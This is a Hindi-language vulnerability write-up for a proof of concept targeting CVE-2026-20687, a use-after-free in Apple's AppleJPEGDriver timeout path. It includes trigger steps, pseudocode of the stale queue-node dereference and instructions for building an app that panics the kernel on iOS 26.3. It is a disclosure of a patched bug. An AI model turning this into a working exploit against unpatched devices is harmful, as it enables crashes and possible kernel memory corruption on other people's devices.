CVE-2026-20687: AppleJPEGDriver startDecoder() टाइमआउट UAF (विलंबित पैनिक)

CVE-2026-20687 | लेखक: Johnny Franks (@0xjohnny)

घटक: कर्नेल

प्रभाव: कोई ऐप अप्रत्याशित सिस्टम समाप्ति का कारण बन सकता है या कर्नेल मेमोरी में लिख सकता है

विवरण: बेहतर मेमोरी प्रबंधन के साथ यूज़ आफ़्टर फ़्री समस्या का समाधान किया गया।

— Apple Security Content, iOS 26.4 और iPadOS 26.4

यह आपके डिवाइस में कर्नेल पैनिक उत्पन्न करेगा। अपना काम सहेज लें।

iOS 26.3 (23D125) पर iPhone18,2 (iPhone 17 Pro Max, A19 Pro) पर परीक्षण किया गया।

ट्रिगर

सीधा ट्रिगर:

1. PoC चलाएँ और Panic पर टैप करें (ड्राइवर को प्राइम करता है / एसिंक कार्य को कतारबद्ध करता है)।
2. फिर Camera खोलें (यह प्रभावित बिल्ड पर विश्वसनीय रूप से सिंक JPEG डिकोड + टाइमआउट का कारण बनता है)।
3. टाइमआउट पथ एक अनुरोध को मुक्त करता है लेकिन उसके एम्बेडेड क्यू नोड पॉइंटर को प्रति-कोडेक वेक्टर में छोड़ देता है।
4. बाद में क्यू वॉक स्टेल नोड को डीरेफ़रेंस करता है और कर्नेल पैनिक हो जाता है (MTE टैग चेक फ़ॉल्ट)।

// PoC: primes the driver; panic is usually deferred until Camera is opened.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// Later, opening Camera triggers:
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // BUG: does NOT dequeue (req + 0x78)

// Later still (finish_io_gated):
fullSpeedRequestExist():
  node_ptr = vector[i];                   // stale: node_ptr == (freed req + 0x78)
  req2 = *(node_ptr + 0x8);              // UAF read of req+0x80 -> MTE tag fault -> panic

बिल्ड और रन

1. Xcode में ios-app/Test.xcodeproj खोलें
2. अपना iOS डिवाइस चुनें (सिम्युलेटर उपयोगी नहीं है)
3. बिल्ड करें और चलाएँ
4. Panic बटन पर टैप करें
5. विलंबित पैनिक को ट्रिगर करने के लिए Camera ऐप खोलें